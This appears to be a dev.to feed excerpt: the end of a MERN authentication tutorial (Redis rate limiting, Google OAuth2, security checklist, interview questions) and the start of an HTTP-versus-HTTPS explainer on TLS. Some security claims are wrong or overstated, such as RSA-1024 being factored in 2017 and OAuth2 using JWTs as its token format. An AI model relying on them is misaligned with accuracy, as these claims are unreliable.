&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rateLimit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`ratelimit:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;incr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expire&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Try again in &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; seconds.`&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;
Redis data lives in memory. If your Redis instance restarts without persistence configured, you lose all stored refresh tokens. Enable Redis persistence (&lt;code&gt;appendonly yes&lt;/code&gt;) or use a managed Redis service (Redis Cloud, AWS ElastiCache) for production deployments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Pros and Cons of Redis-based Auth
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sub-millisecond lookup speed&lt;/td&gt;
&lt;td&gt;Additional infrastructure to maintain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Built-in TTL for auto-expiry&lt;/td&gt;
&lt;td&gt;Memory costs money at scale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Atomic operations prevent race conditions&lt;/td&gt;
&lt;td&gt;Data lost on restart without persistence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Instant token revocation&lt;/td&gt;
&lt;td&gt;Adds latency if Redis is on a remote host&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scales horizontally with Redis Cluster&lt;/td&gt;
&lt;td&gt;Operational complexity vs. database-only approach&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Example: Ride-sharing Forced Logout
&lt;/h3&gt;

&lt;p&gt;When Uber or Lyft detects a compromised account, their systems need to log the user out across all active devices immediately, including app sessions in progress. Redis-backed refresh token storage makes this possible: one &lt;code&gt;DEL&lt;/code&gt; command per user ID invalidates all sessions. A database-only approach requires the same operation at 10-20x higher latency.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://redis.io/docs/manual/persistence/" rel="noopener noreferrer"&gt;Further reading: Redis Documentation - Data Persistence&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Google OAuth2 Integration
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfgwj7gitk0y1nvbw66g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfgwj7gitk0y1nvbw66g.png" alt=" " width="500" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;OAuth2 is an authorization protocol (a standard way for services to share access without sharing passwords). When a user clicks "Sign in with Google," your server never sees their Google password. Google authenticates the user and gives your server a profile.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Definition: OAuth2&lt;/strong&gt;&lt;br&gt;
A protocol that allows one service to grant another service limited access to a user's account without sharing credentials. Your MERN app asks Google: "Is this user who they say they are?" Google confirms and hands you the profile.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User clicks "Sign in with Google."&lt;/li&gt;
&lt;li&gt;Browser redirects to Google's consent page&lt;/li&gt;
&lt;li&gt;User approves&lt;/li&gt;
&lt;li&gt;Google redirects to your callback URL with an authorization code&lt;/li&gt;
&lt;li&gt;Your server exchanges the code for a user profile via Google's API&lt;/li&gt;
&lt;li&gt;Your server finds or creates the user in MongoDB&lt;/li&gt;
&lt;li&gt;Your server issues your own JWT tokens and redirects the user to the frontend
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;passport&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;GoogleStrategy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;clientID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOGLE_CLIENT_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;clientSecret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOGLE_CLIENT_SECRET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;callbackURL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/auth/google/callback&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;googleId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;googleId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emails&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayName&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;done&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; OAuth2 introduces a dependency on Google's uptime. In March 2024, a Google OAuth outage blocked users from logging into thousands of third-party apps that had no fallback auth method. Always maintain a password-based login option alongside OAuth2.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;
When redirecting the access token to your React frontend via URL query parameters (&lt;code&gt;/oauth-callback?token=...&lt;/code&gt;), remove the token from the URL immediately using &lt;code&gt;window.history.replaceState&lt;/code&gt;. URL parameters appear in browser history, server logs, and referrer headers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Example: "Sign in with Google" at Notion
&lt;/h3&gt;

&lt;p&gt;Notion uses Google OAuth2 as its primary login method for workspace users. When Google issues a profile, Notion creates a workspace account tied to the Google ID. If the user later changes their Google password, Notion's auth is unaffected because Notion stores its own JWT tokens.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developers.google.com/identity/protocols/oauth2" rel="noopener noreferrer"&gt;Further reading: Google OAuth2 Documentation&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Security Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1kphgutp1m6bk7xk6sss.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1kphgutp1m6bk7xk6sss.png" alt=" " width="500" height="160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These are non-negotiable requirements for production auth:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set &lt;code&gt;httpOnly: true&lt;/code&gt; on the refresh token cookie to prevent XSS token theft&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;secure: true&lt;/code&gt; so the cookie only travels over HTTPS&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;sameSite: 'strict'&lt;/code&gt; to block CSRF attacks (Cross-Site Request Forgery, where an attacker on a different domain triggers requests that carry your user's cookie)&lt;/li&gt;
&lt;li&gt;Store access tokens in React state, never in localStorage or sessionStorage&lt;/li&gt;
&lt;li&gt;Keep access token lifetime at 15 minutes or less&lt;/li&gt;
&lt;li&gt;Use bcrypt with &lt;code&gt;saltRounds: 12&lt;/code&gt; for all password hashing&lt;/li&gt;
&lt;li&gt;Store refresh tokens in Redis with a matching TTL for instant revocation on logout&lt;/li&gt;
&lt;li&gt;Add a &lt;code&gt;jti&lt;/code&gt; claim to access tokens and implement a Redis blacklist for forced logout scenarios&lt;/li&gt;
&lt;li&gt;Rate-limit login endpoints to prevent brute-force attacks&lt;/li&gt;
&lt;li&gt;Generate secrets with a cryptographically secure random source (32+ characters)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;
Never commit &lt;code&gt;.env&lt;/code&gt; files to version control. Use environment variable injection via your deployment platform (Vercel, Railway, AWS Secrets Manager). Rotate your JWT secrets immediately if they are ever exposed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Example: Okta 2022 Supply Chain Attack
&lt;/h3&gt;

&lt;p&gt;A breach at Okta's support vendor exposed customer session tokens. Okta's short-lived token lifetimes limited the attacker's window. Companies with longer-lived tokens (24h+) had a much larger exposure window. This incident confirmed that short access token lifetimes are not theoretical security hygiene but practical damage control.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html" rel="noopener noreferrer"&gt;Further reading: OWASP Authentication Cheat Sheet&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Common Interview Questions
&lt;/h2&gt;

&lt;p&gt;These questions appear in frontend, backend, and fullstack interviews at senior levels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What happens if an access token is stolen from memory?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The 15-minute expiry limits the damage window. Add audience and issuer claims to bind tokens to your specific API. For high-security systems, embed the client's IP in the token payload and reject requests from mismatched IPs. Token rotation (issue a new access token on every refresh) also invalidates stolen tokens as soon as the legitimate session refreshes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: How do you log a user out of all devices?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Store each refresh token with a device-scoped key in Redis (&lt;code&gt;refresh:{userId}:{deviceId}&lt;/code&gt;). To log out everywhere, scan and delete all keys matching &lt;code&gt;refresh:{userId}:*&lt;/code&gt;. This invalidates every active session immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What is the difference between OAuth2 and JWT?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They solve different problems. OAuth2 is a protocol for delegating access between services. JWT is a token format for encoding signed data. OAuth2 uses JWTs as its token format, but the two are independent. You use JWT-based auth with no OAuth2 at all, as in a standard username/password system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What is a timing attack, and how does bcrypt prevent it?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A naive string comparison returns early when two strings differ at the first character, leaking information about correct values through response time. &lt;code&gt;bcrypt.compare()&lt;/code&gt; uses constant-time comparison: it always takes the same amount of time regardless of where the strings differ, making timing-based inference impossible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/" rel="noopener noreferrer"&gt;Further reading: OWASP Cheat Sheet Series Index&lt;/a&gt;&lt;/p&gt;

</description>
      <category>oauth</category>
      <category>jwt</category>
      <category>bcryptjs</category>
      <category>redis</category>
    </item>
    <item>
      <title>HTTP vs HTTPS: One Letter Between You and a Hacker's Best Day</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Tue, 21 Apr 2026 19:13:19 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/http-vs-https-one-letter-between-you-and-a-hackers-best-day-4a6j</link>
      <guid>https://dev.to/im-shafiqurehman/http-vs-https-one-letter-between-you-and-a-hackers-best-day-4a6j</guid>
      <description>&lt;p&gt;HTTP sends your passwords in plain text. HTTPS stops that. But understanding &lt;em&gt;why&lt;/em&gt; every mechanism in HTTPS exists makes you a sharper engineer and a better security thinker. This article breaks down the full picture, starting from what breaks without protection and working up through each fix.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. What HTTP Actually Does (And Why That Is a Problem)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyjg7taxzsvdqp3dmicki.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyjg7taxzsvdqp3dmicki.png" alt=" " width="800" height="124"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;HTTP (HyperText Transfer Protocol) sends every request and response as raw, readable text. Every router, ISP node, and transit server between your device and the destination sees the full content of every request, including passwords, session tokens, and personal data.&lt;/p&gt;

&lt;p&gt;This is not a flaw that crept in through negligence. The protocol was designed in 1991 for an academic network where trust was assumed. The internet grew into banking, healthcare, and global commerce without updating that foundational assumption.&lt;/p&gt;

&lt;p&gt;TCP/IP, the delivery system beneath HTTP, moves packets between machines. It was never designed to hide what is inside them from the machines doing the routing.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; On public Wi-Fi, every device on the same network running HTTP traffic can read your data with freely available tools. HTTPS is the minimum bar for any site that handles user input.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Key problems with plain HTTP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Credentials sent as readable text across every network hop&lt;/li&gt;
&lt;li&gt;Session tokens visible to anyone on the same network&lt;/li&gt;
&lt;li&gt;No way to confirm the server you reached is the server you intended to reach&lt;/li&gt;
&lt;li&gt;No detection of content modification in transit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; In 2010, a Firefox extension called Firesheep was released publicly. It automated the capture of unencrypted session cookies on shared Wi-Fi networks. Anyone on the same coffee shop network could hijack Facebook, Twitter, and Flickr sessions with a single click. This forced major platforms to adopt HTTPS for all traffic, not just login pages.&lt;/p&gt;

&lt;p&gt;[Further reading: RFC 7230 - HTTP/1.1 Message Syntax and Routing]&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Background: What Is TCP/IP?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;TCP/IP is the foundational communication standard of the Internet. TCP (Transmission Control Protocol) splits your data into packets and ensures they arrive correctly. IP (Internet Protocol) addresses and routes those packets across networks. Together, they form the postal system of the internet. They deliver packets reliably, but they do not encrypt or authenticate what is inside those packets.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. The Key Distribution Problem
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9c1329k7ul2nddncsdup.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9c1329k7ul2nddncsdup.png" alt=" " width="800" height="197"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Symmetric encryption (like AES-256) is fast and computationally strong. Both sides encrypt and decrypt using the same key. The problem: both sides must already share that key before the encrypted conversation starts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The core paradox:&lt;/strong&gt; To share the key securely, you need a secure channel. To have a secure channel, you need the key. You cannot solve one without the other.&lt;/p&gt;

&lt;p&gt;If you send the key over the same network you want to protect, an attacker intercepting the key can decrypt every message that follows. You have added encryption without adding security.&lt;/p&gt;

&lt;p&gt;This problem blocked practical, secure internet communication for decades. It was not solved until public-key cryptography became viable.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This is called the key distribution problem, and it is one of the most consequential unsolved problems in cryptography before the 1970s. The Diffie-Hellman key exchange (1976) was the first published solution. RSA followed in 1977.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; Some argue that pre-shared keys work fine in closed systems, such as military or enterprise networks, where physical key distribution is possible. They are right. The key distribution problem is specifically a problem for open, anonymous communication across untrusted networks, which is what the public internet requires.&lt;/p&gt;

&lt;p&gt;[Further reading: Diffie, W. and Hellman, M. - New Directions in Cryptography (1976)]&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Asymmetric Encryption: How the Key Exchange Problem Gets Solved
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxoxe1oxg0ll7xn9uo633.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxoxe1oxg0ll7xn9uo633.png" alt=" " width="800" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Asymmetric encryption uses two mathematically linked keys. What the public key encrypts, only the private key can decrypt. The public key is shared openly. The private key never leaves the server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How this solves the distribution problem:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The client gets the server's public key (sent openly; anyone can see it)&lt;/li&gt;
&lt;li&gt;The client encrypts a secret value with that public key&lt;/li&gt;
&lt;li&gt;Only the server holding the private key can decrypt it&lt;/li&gt;
&lt;li&gt;Both sides now share a secret that never crossed the network in usable form&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Why not use asymmetric encryption for all traffic?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;RSA encryption is roughly 1,000 times slower than AES. Encrypting a video stream or a large API response with RSA would make the web unusable. TLS uses a hybrid model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Asymmetric encryption handles the key exchange (one time per session)&lt;/li&gt;
&lt;li&gt;Symmetric AES uses the resulting session key for all actual data transfer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) is the modern replacement for RSA in key exchange. It produces the same security with smaller key sizes and faster computation. The "Ephemeral" part means the keys are one-time-use and discarded after each session, which is critical to Perfect Forward Secrecy (covered in section 7).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; In 2017, researchers demonstrated that RSA-1024 keys (once considered adequate) could be factored in practical time using modern hardware clusters. This accelerated the industry-wide shift to ECDHE, which offers equivalent security with 256-bit keys compared to RSA's 2048-bit minimum.&lt;/p&gt;

&lt;p&gt;[Further reading: NIST SP 800-56A Rev.3 - Elliptic Curve Key Establishment Schemes]&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Background: What Is a Session Key?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A session key is a temporary symmetric key generated fresh for each connection. It exists only for the duration of one TLS session. After the session ends, the key is discarded. All the actual web traffic during that session is encrypted and decrypted using this key. Because it is symmetric, encryption and decryption are fast.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. The TLS Handshake: Four Phases, Four Problems Solved
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnkveufafxfianfzxbihk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnkveufafxfianfzxbihk.png" alt=" " width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each phase of the TLS handshake solves a specific attack. Skipping any one phase opens a specific class of vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 1: Capability Negotiation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The client sends supported TLS versions and cipher suites, plus a random value (nonce). Without this phase, an attacker positioned between client and server could strip the negotiation and force both sides to use an older, weaker TLS version. This is called a downgrade attack. The nonce prevents replay attacks, where a recorded handshake is played back to establish a fraudulent session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 2: Identity Assertion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The server sends its certificate. The certificate contains the server's public key, its domain name, and a digital signature from a Certificate Authority (a trusted third party that verifies domain ownership). Without this phase, the client has no way to confirm it is talking to the intended server. Encrypting traffic to an impostor is functionally the same as sending it in plaintext.&lt;/p&gt;

